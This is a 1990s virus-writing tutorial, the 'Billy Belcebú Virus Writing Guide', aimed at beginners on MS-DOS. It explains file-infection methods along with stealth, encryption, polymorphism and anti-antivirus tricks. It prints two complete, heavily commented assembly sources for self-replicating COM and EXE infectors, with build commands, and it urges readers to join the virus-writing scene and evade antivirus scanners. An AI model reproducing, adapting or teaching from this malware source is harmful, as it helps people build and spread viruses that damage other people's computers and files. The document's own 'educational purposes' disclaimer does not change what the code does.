�����������������������Ŀ ��--�����
�������� ������� ������۳ : DISCLAIMER
���� ��� ��� ���   ���  � . The autor of this document isn't responsible of
���� ��� ��� ���   ���  �   any kind of damage that could be made with the
���� ��� ��� ���   ���  �   bad use of this information. It was written only.
�������� �������   ���  �   for educational purposes. If u dont agree, exit!:
�������������������������                                           �����-���

                ������������������������������������������Ŀ
                �  Billy Belceb� Virus Writing Guide 1.00  �
                ��������������������������������������������

��Ĵ Presentations �����������������������������������������������������������

Welcome the Billy Belceb�'s Virus Writing Guide. I'm gonna present myself.
I'm the frontman ( Hey... like Lars Ulrich or Dexter Holland! ) of spanish VX
group DDT ViRUS STUDiOS. We're quite new here. This document is dedicated
to my master, ZaXoN/DDT, my mentor from the days when i asked him what
was ARJ ;) , passing through the day when he lend me the TP5, and taught me
all he knew, till my first steps in Assembly. It's also dedicated to the ppl
who want to leave to be lamer, and want to join the " good scene ". I don't
forget the author of a lot of great documents, Dark Angel ( member of the
extinct pioneer cool group called Phalcon/Skism ), cause his tutorials taught
me in my early stages. Of course, to The Offspring, Marilyn Manson, Blind
Guardian and Metallica ( I hear another groups, but these are the best ones )
cause with their music i'm writing this lines. Hope you like this beginner's
guide.

NOTE: English ain't my first language ( it's spanish ), so excuse me for all
my misspells i made ( a lot of ), and notify me them for later updates of
this document.

If you have any doubt...                           [email protected]

Billy Belceb�,
killing mass and kicking ass.

��Ĵ Useful software for virus coding ����������������������������������������

You need some things before start writing virii. Here you have the programs
i recommend you ( If you haven't enough money for buy them... DOWNLOAD! ) :)

� Borland Turbo Assembler 3.1 will be enough for dos viruses
� Borland Turbo Link 5.1
� Borland Turbo Debug 3.1, AVPutils debugger, or if you want, dos debug.
� The text editor you like more ( QuickEdit should be a good choice )
� Some virus sources ( from old viruses like stoned to the coolest, like
  Zhengxi, Onehalf, Cabanas, Esperanto... )
� Some virus related e-zines ( 40hex, Insane Reality, Xine, 29A... )
� Utilities that can show you memory dumps and else, like Norton Utilities
� The Ralf Brown's Interrupt list
� Some assembler books ( for doubts and this kinda things ) :)
� Some AVs ( in order to see if our virii is detected heuristically )
� Of course, this document ;)

I hope i don't forget any important thing.

��Ĵ Some useful theory ������������������������������������������������������

A virus is a program ussually coded in assembler ( but can also be coded in
other languages, like PASCAL and C ) that spreads copies of itself to other
executables and/or another things like boot sectors or MBRs. The assembler
ain't as " diabolic " as some people say, believe me :)
A virus attaches itself at end of the victim ( the 80% of viruses ), take
advantage of the MS-DOS feature of executing first a COM than a EXE file
( companion viruses ), not increase the size ( guest infectors and overwritin
ones <g> ), EXE header viruses, midfile infectors, install in boot, in MBR...
And with the compression engines... a virus can decrease the size of the
victim after infection!!! ;) Hope to see soon a virus like this.
Let's see how a virus of the first kind works with some nice graphics ;)

��������������Ŀ �������������Ŀ          ��������������Ŀ�
�              � �             �        �ijJMP VIRUS�    � �
�              � �    VIRUS    �        � �����������    � �
�     FILE     �+�             � ���������     FILE     � �
�              � ���������������        � �              � �
�              �                        � �              � �
����������������                        ���������������Ĵ �
                                          �              � �
                                          �    VIRUS     � �
                                          �              � �
                                          ������������������

Viruses ussually follow the same steps:
1. Locate the file to infect ( Waiting till opening or something, or seekin
   throught directories )
2. Check if it's already infected
3. If yes, skip it.
4. Save file date/time
5. Put a jump to our code saving the first bytes
6. Append the virus body
7. Restore file date/time

It's very simple as you can see, but they use different ways for arrive to
the below point. I'll explain it later.

Another type of infection can be also made, but it's more slow, because we
have to take all guest code, save it in a temporal place, write the virus
code, and after our code, the guest original code. Let's see:

��������������Ŀ �������������Ŀ          ��������������Ŀ
�              � �             �          �              �
�              � �    VIRUS    �          �    VIRUS     �
�     FILE     �+�             � ������  �              �
�              � ���������������          ��������������Ĵ�
�              �                          �              �
����������������                          �              �
                                          �     FILE     �
                                          �              �
                                          �              �
                                          ����������������

The worst viruses in the world are the overwriting ones. They're so destruc-
tive, and the infection is easily detected, cause they don't execute the
guest ( they can't be operative coz the infection method ), they only execu-
tes their own body. Let's see a graphic.

��������������Ŀ �������������Ŀ          ��������������Ŀ
�              � �             �          �              �
�              � �    VIRUS    �          �    VIRUS     �
�     FILE     �+�             � ������  �              �
�              � ���������������          ��������������Ĵ
�              �                          �              � ����� The file
����������������                          ���������������� never more run :(

Of course, there're more and more infection methods, but this is a guide for
beginners... never forget it :) And that are demonstration samples...

A virus have some different phases:

� INFECTION: A virus arrive to a unsuspecting guy, inside a file ( via
  disquettes, e-mail... ) or boot sectors ( disquettes... ). The user execut-
  es the virus without know it, and then is when the creature takes the con-
  trol of the system ( instead the user ) ;)

� I-HAVE-THE-CONTROL: This is the funniest phase of viruses, cause the user,
  lives very happy, lending programs to his/her friends, infecting them, and
  all this stuff. And the virus quickly infects more and more people. X-D

� PAYLOAD: After a decisive situation, the virus show its presence. The
  payload can be destructive <g> or not ;)  In my humble opinion, the des-
  tructive payloads are only made by the lamers, this scum who enjoy destro-
  ying other computers, and with the well know attitude of a dickhead. The
  better payloads are the original ones, coz they make the user to feel
  astonished ;) Of course, there're virus without a payload, that don't do
  anything besides replicate.

In this tutorial i will talk about some other interesting stuff like:

� ARMOURING: I really LOVE this stuff. It's ussually used for avoid the
  debugging/dissasembling of our virus for any undesirable guy. Well, a good
  VXer can dissasemble whatever he/she ( ? ) wants to. You have an example in
  Tcp/29A... This man can really dissassemble ALL ;)

� STEALTH: The concealment method for excelence. There're a lot of methods of
  make stealth ( FCB, Handles, SFT, Disinfection-on-the-fly... ) I'll expla-
  in some of this things. This consists in make the user think there isn't
  any kind of infection, returning him the same file size that was before
  the infection, disinfecting the file before it's opened...

� ENCRYPTION: This method consist in the cypher of the main virus body, so
  the strings we can have as copyright ;) can't be seen by a suspecting guy.
  It's really an old techique, but nowadays is still used ( but with some
  things that change, see the next point ). Uses mathematic operations for
  perform the work ( XOR, ADD-SUB, INC-DEC, NOT, NEG, ROR-ROL... )

� POLYMORPHISM: An extension of the encryption in order to avoid AVs. The
  objective is generate different decryption routines each time for make
  impossible the scan of the virus, or minimize the possible scan strings :)

� ANTI-HEURISTIC: Heuristic scanners aren't as trustables like some people
  say. I'll demonstrate that the heuristic aren't as safe as they seem. This
  stuff are some tricks you can use for avoid flags.

� TUNNELING: This stuff is used for obtain the " real " INT 21h vectors,
  bypassing the TSR watchdogs, and all that's in our way.

� ANTI-TUNNELING: The weapon that AV used for avoid tunnelers becomes in one
  of the TSR watchdog's enemy. It's also cool for stop the steps of other
  viruses that are trying to get _OUR_ INT21h :)

� ANTI-BAIT: Baits ( aka sacrifical goats ) are what AVs uses for make multi-
  ple infections in a lot of files, trying to get a scan string for our
  virus ( and with it, our mutation engine )... and, we want this? NO! I'll
  explain the most used methods for don't infect this non-sense programs.

� OPTIMIZATION: The better viruses are the ones that do a lot of thing using
  very few bytes. In this little chapter you'll see how to do some things
  using less bytes.

��Ĵ First steps, RUNTIME viruses ��������������������������������������������

There're some methods for a success infection. Now we'll explain the most old
one, the RUNTIME ( aka direct action ). Nowadays, no one makes a runtime
infector, because they're sloooooooow, and their presence is quickly detected
by a middle-interested user. But... don't be afraid! This method is very
simple, and all the people now in the scene, made their first steps with a
runtime com infector. This method is only for your first contact with the
virus developing. A runtime virus consist in a program that searches for
files using a wildcard ( "*.com","*.exe","*.*"... ) and using the DOS-API
( of course, the INT 21h ) functions Findfirst and Findnext ( 4Eh and 4Fh ).
It can also enter in another directories than the actual one for perform its
infection. Ussually this kinda viruses infects COM and EXE, but we can also
infect SYS, OBJ, ZIP... but for this i'd need another tutorial, and... you
remember this is for beginners? ;)

COM infection
�������������

The easiest, as you can imagine is the COM infection. It's the first thing
you must understand, cause the infection ( not the way used to arrive there )
is more or less, the same stuff in all kinda viruses ( TSR and so on ):

1. Open file
2. Save time/date/attributes
3. Store first ( ussually 3 ) bytes
4. Calculate the new jump
5. Put it
6. Append main virus body
7. Restore time/date/attributes
8. Close file

You must remember that a COM file look is the same in the phisical code than
in the memory ( COM = Copy Of Memory ). DOS gives all the available memory
to the COM file. Let's see how is a COM program when it's loaded in memory:

�����������������������������������Ŀ ������ CS = 0000h
�  Program Segment Prefix ( PSP )   �     ��� DS = 0000h
�       100h bytes ( 256d )         �     ��� ES = 0000h
�����������������������������������Ĵ Ŀ ��� SS = 0000h
�      Program Code and Data        �   �� CS:IP = 0100h
�                                   �
�                                   �
�                                   �     ��� CS = FFFFh  (*) The stack grows
�                                   �     ��� DS = FFFFh      backwards, from
�              Stack                �    ��� ES = FFFFh      bottom to top.
������������������������������������� �� SS:SP = FFFFh

The COM files can only have the size of a segment ( FFFFh bytes ) less 100h
bytes that are used for PSP ( FFFFh - 100h = FEFFh ). But there's a problem.
We must save more space for let the stack grow what we need ( every time we
make a PUSH and we forget the POP, the stack grows, and if it grows too much
it'll finish trashing our program ). I'll leave at least 100h more bytes for
stack. Ok ? :)

It's very easy to understand... and it's LOGIC!!! ;)
Talking about logic things... I think now is a good time for practice the COM
infection. It's a LAME virus. LAME? Only? More than this. It's the LAMEST! ;)
But this is a beginners documment, and i must make it! Althougth it fuck me!
Well, i don't kill my mind programming some stuff like that, althougth i'd
spend only 5 minutes in coding my own :) ( spend time? just WASTE time! :)

;���[ CUT HERE ]��������������������������������������������������������������
; A very lame virus. Don't compile. Don't distribute.
; If you make a copy of this... you'll be LAME!
; But i hope it'll help you in order to become a VXer from the first steps
; to the GIANT ones ;) And then you'll have to send me greets. hahahahahaha :)
; I hated to program my own runtime virus ( 5 minutes for write a shit,
; believe me, is very boring and a WASTE of time ) so I used G� ( Dark Angel )
; Sorry, i'm a goddamn lazy :)
; Assemble with: TASM /m3 lame.asm
; Link with:     TLINK /t lame.obj

; Virus generated by G� 0.70� ( Look, I didn't removed signatures. This ain't
; mine! The lamest thing you can do is remove signatures. Don't forget it! )
; G� written by Dark Angel of Phalcon/Skism

; File: LAME.ASM

       .model  tiny
       .code

       org     0100h

carrier:
       db      0E9h,0,0                ; jmp start

start:
       mov     bp, sp                  ; Antidebugging get � offset!
       int     0003h                   ; Int for breakpoints
next:
       mov     bp, ss:[bp-6]
       sub     bp, offset next

;�����������������������������������������������������������������������������
; Explanation:
; Let's see. When we infect a file ALL offset get moved exactly da size of the
; guest, so we choice a register ( ussually BP or SI ) and we put in it the
; size of the file with this simple thing, and each time we use a variable or
; something, we MUST add the register used as �-offset ( here BP )
;�����������������������������������������������������������������������������

       mov     dl, 0000h               ; Default drive
       mov     ah, 0047h               ; Get directory
       lea     si, [bp+offset origdir+1]
       int     0021h

       lea     dx, [bp+offset newDTA]
       mov     ah, 001Ah               ; Set DTA
       int     0021h

;�����������������������������������������������������������������������������
; Explanation:
; The first block stores the current directory in a variable for l8r return.
; Take a look to the zone of this document where are the DTA structure. The
; DTA ( Disk Transfer Address ) begins in the byte 80h of the PSP ( Program
; Segment Prefix ) where also resides the command line. And you wonder why...
; What happens when we use the DTA with the command line? That's the reason
; of storing the DTA ( Besides for our own use, of course ) ;)
;�����������������������������������������������������������������������������

restore_COM:
       mov     di, 0100h
       push    di
       lea     si, [bp+offset old3]
       movsb                           ; Move first byte
       movsw                           ; Move next two

       mov     byte ptr [bp+numinfect], 0000h

;�����������������������������������������������������������������������������
; Explanation:
; This routine restores the 3 original first bytes of the infected com, loca-
; ted above offset 100h, and also saves this offset in DI for later use.
; The last line setups the actual number of infections to 0 ( the couter )
;�����������������������������������������������������������������������������

traverse_loop:
       lea     dx, [bp+offset COMmask]
       call    infect
       cmp     [bp+numinfect], 0003h
       jae     exit_traverse           ; exit if enough infected

       mov     ah, 003Bh               ; CHDIR
       lea     dx, [bp+offset dot_dot] ; go to previous dir
       int     0021h
       jnc     traverse_loop           ; loop if no error

exit_traverse:

       lea     si, [bp+offset origdir]
       mov     byte ptr [si], '\'
       mov     ah, 003Bh               ; restore directory
       xchg    dx, si
       int     0021h

;�����������������������������������������������������������������������������
; Explanation:
; All we do here is infect all files in the directory, and we end with this,
; we change directory to ..
; And when there aren't more directories we restore the old when we were.
;�����������������������������������������������������������������������������

       mov     dx, 0080h               ; in the PSP
       mov     ah, 001Ah               ; restore DTA to default
       int     0021h

return:
       ret

;�����������������������������������������������������������������������������
; Explanation:
; This will restore the taken DTA to its original address, in the offset 80h
; at the Program Segment Prefix ( PSP ), and then return to original offset
; 100h, for execute the file normally ;)  ( Remember we pushed di when it was
; equal to 100h )
;�����������������������������������������������������������������������������

old3            db      0cdh,20h,0

infect:
       mov     ah, 004Eh               ; find first
       mov     cx, 0007h               ; all files
findfirstnext:
       int     0021h
       jc      return

;�����������������������������������������������������������������������������
; Explanation:
; In this code all we do is search in the current directory for the files
; matching with the wildcard in DX ( in this example "*.COM" ), with any kind
; of attributes.
; Old3 is the var that handles the first 3 bytes of the actual infected COM.
; If there isn't matching files, a carry flag is returned and then we jump to
; a routine that returns the control to the main program. If we found at
; lest one of them, we jump to the following code, and when finish this, we
; look for another file
;�����������������������������������������������������������������������������

       cmp     word ptr [bp+newDTA+35], 'DN' ; Check if COMMAND.COM
       mov     ah, 004Fh               ; Set up find next
       jz      findfirstnext           ; Exit if so

;�����������������������������������������������������������������������������
; Explanation:
; This is for not infect the command.com, checking if file has in pos name+5
; ( DTA+35 ) the word DN ( ND, but the words are stored reverse! )
;�����������������������������������������������������������������������������

       lea     dx, [bp+newDTA+30]
       mov     ax, 4300h
       int     0021h
       jc      return
       push    cx
       push    dx

       mov     ax, 4301h               ; clear file attributes
       push    ax                      ; save for later use
       xor     cx, cx
       int     0021h

;�����������������������������������������������������������������������������
; Explanation:
; The first block has a double function: stores the file attributes of the
; file for later restore, and also check for file exist or there's a problem.
; The second one save in stack 4301h ( function for put attributes ) and also
; clear file of undesirable attributes like read-only :)
;�����������������������������������������������������������������������������

       lea     dx, [bp+newDTA+30]
       mov     ax, 3D02h               ; Open R/O
       int     0021h
       xchg    ax, bx                  ; Handle in BX

       mov     ax, 5700h               ; get file time/date
       int     0021h
       push    cx
       push    dx

;�����������������������������������������������������������������������������
; Explanation:
; The first block opens the file in read/write mode, and the put the file
; handle in BX, where it'll be more useful.
; The second block of instructions get the file date and time and then save
; them in the stack.
;�����������������������������������������������������������������������������

       mov     ah, 003Fh
       mov     cx, 001Ah
       lea     dx, [bp+offset readbuffer]
       int     0021h

       xor     cx, cx
       xor     dx, dx
       mov     ax, 4202h
       int     0021h

;�����������������������������������������������������������������������������
; Explanation:
; The first block reads 1Ah bytes ( 26 ) into the variable readbuffer, for
; later comparations. The second block moves the file pointer to the end of
; the file for two reasons: file size will be put in AX, and we need to be
; there for append
;�����������������������������������������������������������������������������

       cmp     word ptr [bp+offset readbuffer], "ZM"
       jz      jmp_close

       mov     cx, word ptr [bp+offset readbuffer+1] ; jmp location
       add     cx, heap-start+3        ; convert to filesize
       cmp     ax, cx                  ; equal if already infected
       jl      skipp
jmp_close:
       jmp     close

;�����������������������������������������������������������������������������
; Explanation:
; The first block compares the two first bytes of the opened COM file in
; order to see if it's a misnamed EXE ( remember the words must be in reverse
; order ). The second block check for previous infection, comparing the virus
; size + the guest ( before be infected ) size with the guest actual size
;�����������������������������������������������������������������������������

skipp:

       cmp     ax, 65535-(endheap-start) ; check if too large
       ja      jmp_close               ; Exit if so

       lea     di, [bp+offset old3]
       lea     si, [bp+offset readbuffer]
       movsb
       movsw

;�����������������������������������������������������������������������������
; Explanation:
; The first block of instructions check the size of the COM, to see if we can
; infect it ( the COM size + virus size can't be > 0FFFFh ( 65535 ), cause it
; is, the PSP and/or stack will corromp the code
; The second block moves the values of old3 ( 3 bytes ) var to readbuffer.
;�����������������������������������������������������������������������������

       sub     ax, 0003h               ; Virus_size-3 ( jump size )
       mov     word ptr [bp+offset readbuffer+1], ax
       mov     dl, 00E9h               ; Opcode of jmp
       mov     byte ptr [bp+offset readbuffer], dl

       lea     dx, [bp+offset start]   ; The beginning of what append
       mov     cx, heap-start          ; Size to append
       mov     ah, 0040h               ; concatenate virus
       int     0021h

;�����������������������������������������������������������������������������
; Explanation:
; The first block calculates the jump to the virus code and then stores the
; result in a variable. The second block append the virus to the guest :)
;�����������������������������������������������������������������������������

       mov     ax, 4200h
       xor     dx, dx
       xor     cx, cx
       int     0021h


       mov     cx, 0003h
       lea     dx, [bp+offset readbuffer]
       mov     ah, 0040h
       int     0021h

       inc     [bp+numinfect]

;�����������������������������������������������������������������������������
; Explanation:
; The first block moves the file pointer to the beginning of the file, and the
; second one writes the jump to the virus code there.
; The third increases the variable that holds the number of succesful infecti-
; ons already made
;�����������������������������������������������������������������������������

close:
       mov     ax, 5701h               ; restore file time/date
       pop     dx
       pop     cx
       int     0021h

       mov     ah, 003Eh
       int     0021h

       pop     ax                      ; restore file attributes
       pop     dx                      ; get filename and
       pop     cx                      ; attributes from stack
       int     0021h

       mov     ah, 004Fh               ; find next
       jmp     findfirstnext

;�����������������������������������������������������������������������������
; Explanation:
; The first block of instruction restore the time and date of file stored in
; the DTA. And the second closes the file and the third one restore old attrs
; of the infected file.
; The last one put in AX the function FindNext of DOS, and jumps to search
; for more files to infect.
;�����������������������������������������������������������������������������


signature       db      "[PS/G�]",0     ; Phalcon/Skism G� ( old!! )
COMmask         db      "*.COM",0       ; Must be ASCIIZ ( Ascii string,0 )
dot_dot         db      "..",0          ; Directory to change

heap:                                   ; this data goes in heap
newDTA          db      43 dup (?)      ; DTA size, 2Bh
origdir         db      65 dup (?)      ; Where to store old directory
numinfect       db      ?               ; Handles the number of infections
readbuffer      db      1ah dup (?)     ; Buffer
endheap:
end     carrier
;���[ CUT HERE ]��������������������������������������������������������������

It's very simple all this, as you can see. And this code is FULLY commented.
If you still don't understand this, don't change chapter, re-read all the
COM infection!!!. But... a virus that only infect COMs... and runtime maybe
would be cool 6 or 7 years ago, but nowadays it's horrible! Before spread a
runtime virus now, i recommend you to wait some time. Some months could
be enough in order to have a better knowledge of assembler language, and if
you dedicate some time for improve your skills, you'll make a TSR COM/EXE
infector with full stealth and nice tricks in some months more.
Don't hear the insults of another VXers about your first steps here, and
your viruses. Sometimes some of this people ( they're few guys, ussually all
people in the scene in very kind ) forget their first steps were like yours,
believing theirselves god, as some AVers dickeads do. Pathetic.

I'll stop talking about this suckers who forget their roots, and let's talk
about the EXE infection.

EXE infection
�������������

The first you must know is that the EXE infection is different than COM
infection ( i think you're intelligent and you know this ;) ) The EXEs can
be bigger in size, and they have a HEADER ( I think the most important part
infecting EXEs is manipulate that header ) that contains some useful values
for infection like the CS:IP ( stored in reverse order IP:CS ) ,SS:SP ( NOT
stored in reverse order!!! ), File size in paragraphs and all other things.
Here you have the header structure:

�����������������������������������Ŀ ��� +0000h
�    EXE file mark ( ZM or MZ )     �            Size : 1 WORD
�����������������������������������Ĵ ��� +0002h
�    Bytes in last page of image*   �            Size : 1 WORD
�����������������������������������Ĵ ��� +0004h
�          Number of pages*         �            Size : 1 WORD
�����������������������������������Ĵ ��� +0006h
�    Number of relocation items     �            Size : 1 WORD
�����������������������������������Ĵ ��� +0008h
� Size of the header in paragraphs  �            Size : 1 WORD
�����������������������������������Ĵ ��� +000Ah
�      MinAlloc in paragraphs       �            Size : 1 WORD
�����������������������������������Ĵ ��� +000Ch
�      MaxAlloc in paragraphs       �            Size : 1 WORD
�����������������������������������Ĵ ��� +000Eh
�            Initial SS*            �            Size : 1 WORD
�����������������������������������Ĵ ��� +0010h
�            Initial SP*            �            Size : 1 WORD
�����������������������������������Ĵ ��� +0012h
�        Negative checksum          �            Size : 1 WORD
�����������������������������������Ĵ ��� +0014h
�            Initial IP*            �            Size : 1 WORD
�����������������������������������Ĵ ��� +0016h
�            Initial CS*            �            Size : 1 WORD
�����������������������������������Ĵ ��� +0018h
�            Relocations            �            Size : 1 WORD
�����������������������������������Ĵ ��� +001Ah
�             Overlays              �            Size : 1 WORD
�����������������������������������Ĵ ��� +001Ch
�         Reserved / Not used       �            Size : 1 DWORD?
�������������������������������������                   ���������
                                           Total Size : VARIABLE!

(*) The fields marked need to be modified at infection

The EXE files can have more tha one segment ( one for code, one for data and
another for stack -> CS,DS,SS in order of appereance :)
The EXE's header is generated by the linker. The user don't give a shit :)
When DOS loads the EXE into memory, it looks like this:

�����������������������������������Ŀ ������ ES = 0000h
�  Program Segment Prefix ( PSP )   �     ��� DS = 0000h
�       100h bytes ( 256d )         �
�����������������������������������Ĵ ��� CS:IP ( pointed by header )
�                                   �
�    Program Code Segment ( CS )    �
�                                   �
�����������������������������������Ĵ
�                                   �
�    Program Data Segment ( DS )    �
�                                   �
�����������������������������������Ĵ ������ SS = 0000h
�                                   �
�   Program Stack Segment ( SS )    �
�                                   �
������������������������������������� ��� SS:SP ( pointed by header )

As you can see, in the EXE files there isn't the problem existing in COMs.
For our stack needs ( PUSH and POP ) we have an entire segment! It still
grows backwards ( from bottom to top ).

Let's see the algorithm you must follow for yer EXE infector ( step by step )

1.  Open the file ( wow, genius! ) for read only
2.  Read the first 1A bytes ( 26d )
3.  Store them in a variable
4.  Close file
5.  Check the first word for mark ( MZ, ZM )
6.  If it's equal, continue, if not goto 16
7.  Check for previous infection
8.  If ain't infected, continue, if it's already infected goto 17
9.  Save actual CS:IP ( reverse -> IP:CS ) for EXE restoring
10. For the same purpose, save SS:SP ( this order )
11. Calculate new CS:IP and SS:SP
12. Modify the bytes in the last page and the number of pages
13. Open again ( but in read/write mode )
14. Write the header
15. Move file pointer to the end
16. Append the virus body
17. Close file

Of course, you change some things to this, like open only one time for r/w
mode. Beware of infected EXEs SP. SP ain't even in normal EXEs ( could be,
but it'll trigger an heuristic flag! ). So, pay attention.

I don't wanna bore you with more theorical shit, and remember that the best
way to learn to code viruses is to see source codes of another viruses. And
it's good to see what i've just explained you :)

;���[ CUT HERE ]��������������������������������������������������������������
; I'll put code of my own when we arrive to more funny chapters. Until then,
; you must fuck you seeing code generated by G� :)
; Assemble with: TASM /m3 lame.asm
; Link with:     TLINK /t lame.obj

; Virus generated by G� 0.70�
; G� written by Dark Angel of Phalcon/Skism

id              =       ';)'

       .model  tiny
       .code
       org     0100h

start:
       call    next
next:
       pop     bp
       sub     bp, offset next

;�����������������������������������������������������������������������������
; Explanation:
; This is the most common way to find the delta offset ( if you still don't
; know what is the delta offset, kill yourself )
;�����������������������������������������������������������������������������

       push    ds
       push    es
       push    cs
       pop     es                      ; CS = ES
       push    cs
       pop     ds                      ; CS = ES = DS

;�����������������������������������������������������������������������������
; Explanation:
; This AIN'T a COM! Remember it. The EXEs are more powerful ( and a little
; bit more hard to infect ) When we execute an EXE, each segment is pointing
; to a different offset, so we need to adjust them. Remember we can't put
; something like " mov es,ds ", so there's a little trick to do this. Use the
; stack :)
;�����������������������������������������������������������������������������

       mov     ah, 001Ah               ; Set DTA
       lea     dx, [bp+offset newDTA]
       int     0021h

       mov     ah, 0047h               ; Get directory
       lea     si, [bp+offset origdir+1]
       cwd                             ; Default drive
       int     0021h

;�����������������������������������������������������������������������������
; Explanation:
; Do you remember our old friend, the DTA ? I hope the answer will be yes, coz
; it's not, re-read the full document, guy!
; And the second routine is also a well know one. This stuff is already seen.
;�����������������������������������������������������������������������������

       lea     di, [bp+offset origCSIP2]
       lea     si, [bp+offset origCSIP]
       movsw
       movsw
       movsw
       movsw

       mov     byte ptr [bp+numinfect], 0000h

;�����������������������������������������������������������������������������
; Explanation:
; Hey! Some new stuff! Well, the first block is for the later restore of the
; EXE guest file. I hope you know what MOVSW instruction does... Not? Grrr...
; I'm gonna explain you, but for another doubts... BUY AN ASSEMBLER BOOK!!!
; MOVSW moves a word from DS:SI to ES:DI ( MOVSB does the same but with a
; byte ) We make this because we have two double words. Wa can also put some-
; thing like MOV CX,4 and a REP MOVSW, or in a 386+, two MOVSD.
;�����������������������������������������������������������������������������

traverse_loop:
       lea     dx, [bp+offset EXEmask]
       call    infect
       cmp     [bp+numinfect], 0003h
       jae     exit_traverse           ; exit if enough infected

       mov     ah, 003Bh               ; CHDIR
       lea     dx, [bp+offset dot_dot] ; go to previous dir
       int     0021h
       jnc     traverse_loop           ; loop if no error

;�����������������������������������������������������������������������������
; Explanation:
; It's a pain to explane routines already explained before...
;�����������������������������������������������������������������������������

exit_traverse:

       lea     si, [bp+offset origdir]
       mov     byte ptr [si], '\'
       mov     ah, 003Bh               ; restore directory
       xchg    dx, si
       int     0021h

       pop     es                      ; ES = DS
       pop     ds

       mov     dx, 0080h               ; in the PSP
       mov     ah, 001Ah               ; restore DTA to default
       int     0021h

;�����������������������������������������������������������������������������
; Explanation:
; Already explained in COM infection
;�����������������������������������������������������������������������������

restore_EXE:
       mov     ax, ds
       add     ax, 0010h
       add     cs:[bp+word ptr origCSIP2+2], ax
       add     ax, cs:[bp+word ptr origSPSS2]
       cli
       mov     ss, ax
       mov     sp, cs:[bp+word ptr origSPSS2+2]
       sti
       db      00EAh                           ; jmp far opcode
origCSIP2       dd      ?
origSPSS2       dd      ?
origCSIP        dd      0fff00000h
origSPSS        dd      ?

return:
       ret

;�����������������������������������������������������������������������������
; Explanation:
; This is the way used to restore the guest EXE. Take a look to the instruct-
; ions... Our objective is to restore old CS:IP ans SS:SP of the infected EXE.
; Take note that we must deactivate interrupts before stack manipulation.
; After this, we jump to the original EXE code, and all will happen like
; there isn't any strange thing :)
;�����������������������������������������������������������������������������

infect:
       mov     cx, 0007h               ; all files
       mov     ah, 004Eh               ; find first
findfirstnext:
       int     0021h
       jc      return
       lea     dx, [bp+newDTA+30]
       mov     ax, 4300h
       int     0021h
       jc      return
       push    cx
       push    dx

       mov     ax, 4301h               ; clear file attributes
       push    ax                      ; save for later use
       xor     cx, cx
       int     0021h

;�����������������������������������������������������������������������������
; Explanation:
; All this code seems to be equal to the COM infection. This is because it's
; the stuff that find EXE files, wipe the attributes and else
;�����������������������������������������������������������������������������

       mov     ax, 3D02h
       lea     dx, [bp+newDTA+30]
       int     0021h
       xchg    ax, bx

       mov     ax, 5700h               ; get file time/date
       int     0021h
       push    cx
       push    dx

       mov     ah, 003Fh
       mov     cx, 001Ah
       lea     dx, [bp+offset readbuffer]
       int     0021h

       mov     ax, 4202h
       xor     cx, cx
       cwd
       int     0021h

;�����������������������������������������������������������������������������
; Explanation:
; Hey, guy. All this above code was already seen in COM infection. But from
; here till the end, there'll be the cool stuff of EXE infection :)
;�����������������������������������������������������������������������������

       cmp     word ptr [bp+offset readbuffer], 'ZM'
       jnz     jmp_close

checkEXE:
       cmp     word ptr [bp+offset readbuffer+10h], id
       jnz     skipp
jmp_close:
       jmp     close

;�����������������������������������������������������������������������������
; Explanation:
; The first block compares the first bytes of the opened file in order to
; search for the EXE signature ( MZ ). The author of G� seems to have forgot-
; ten to add a comparison for ZM, tho. The second one check for previous
; infection. This virus is an old runtime one, and it's a rudimentary way to
; mark infected EXEcutables ( put two bytes as SP )
;�����������������������������������������������������������������������������

skipp:

       lea     si, [bp+readbuffer+14h]
       lea     di, [bp+origCSIP]
       movsw                           ; Save original CS and IP
       movsw

       sub     si, 000Ah
       movsw                           ; Save original SS and SP
       movsw

;�����������������������������������������������������������������������������
; Explanation:
; For know that we are doing at this point, you must remember what MOVSW does.
; ( Explained some lines above ). Ok ? Yeah, this restores CS:IP and SS:SP of
; the opened EXE.
;�����������������������������������������������������������������������������

       push    bx                      ; save file handle
       mov     bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs
       mov     cl, 0004h
       shl     bx, cl

       push    dx                      ; Save file size on the
       push    ax                      ; stack

       sub     ax, bx                  ; File size - Header size
       sbb     dx, 0000h               ; DX:AX - BX -> DX:AX

       mov     cx, 0010h
       div     cx                      ; DX:AX/CX = AX Remainder DX

       mov     word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
       mov     word ptr [bp+readbuffer+14h], dx ; IP Offset
       mov     word ptr [bp+readbuffer+10h], id ; Initial SP
       mov     word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.

;�����������������������������������������������������������������������������
; Explanation:
; This piece of code seems to be very hard to understand. But it isn't. The
; first block read the value on readbuffer+8 ( Header size in paragraphs ).
; And then turn it into bytes. The second block puts the file size in stack.
; The third one substracts to the file size the header size. The fourth
; divides the number in AX by 10, and puts the remainder in DX. After this,
; we put the new SS, IP, SP and CS.
;�����������������������������������������������������������������������������

       pop     ax                      ; File length in DX:AX
       pop     dx

       add     ax, heap-start
       adc     dx, 0000h

       mov     cl, 0009h
       push    ax
       shr     ax, cl
       ror     dx, cl
       stc
       adc     dx, ax
       pop     ax
       and     ah, 0001h

       mov     word ptr [bp+readbuffer+2], ax ; Fix-up the file size in
       mov     word ptr [bp+readbuffer+4], dx ; the EXE header

;�����������������������������������������������������������������������������
; Explanation:
; Yeeeha! Some cool math operations! :) First we make is to restore the file
; size. Then we add to this the virus size. This huge block that make a lot
; of calcualations is used for calculate the infected file size in the header,
; that is in 512 bytes form, rounded to up. Imagine if we have a 513 bytes
; file, then we have here a 2 and 1 as remainder. The last one writes the
; calculated information to the header
;�����������������������������������������������������������������������������

       pop     bx                      ; restore file handle

       mov     cx, heap-start
       lea     dx, [bp+offset start]
       mov     ah, 0040h               ; concatenate virus
       int     0021h

       xor     dx, dx
       mov     ax, 4200h
       xor     cx, cx
       int     0021h


       lea     dx, [bp+offset readbuffer]
       mov     cx, 001Ah
       mov     ah, 0040h
       int     0021h

       inc     [bp+numinfect]

;�����������������������������������������������������������������������������
; Explanation:
; We append the virus body, and then we move file ointer to the beginning.
; Now we write the new header, and increment the counter by 1.
;�����������������������������������������������������������������������������

close:
       mov     ax, 5701h               ; restore file time/date
       pop     dx
       pop     cx
       int     0021h

       mov     ah, 003Eh
       int     0021h

       pop     ax                      ; restore file attributes
       pop     dx                      ; get filename and
       pop     cx                      ; attributes from stack
       int     0021h

       mov     ah, 004Fh               ; find next
       jmp     findfirstnext

;�����������������������������������������������������������������������������
; Explanation:
; This routines are known by us. Not ? See the COM infection, sucker! ;)
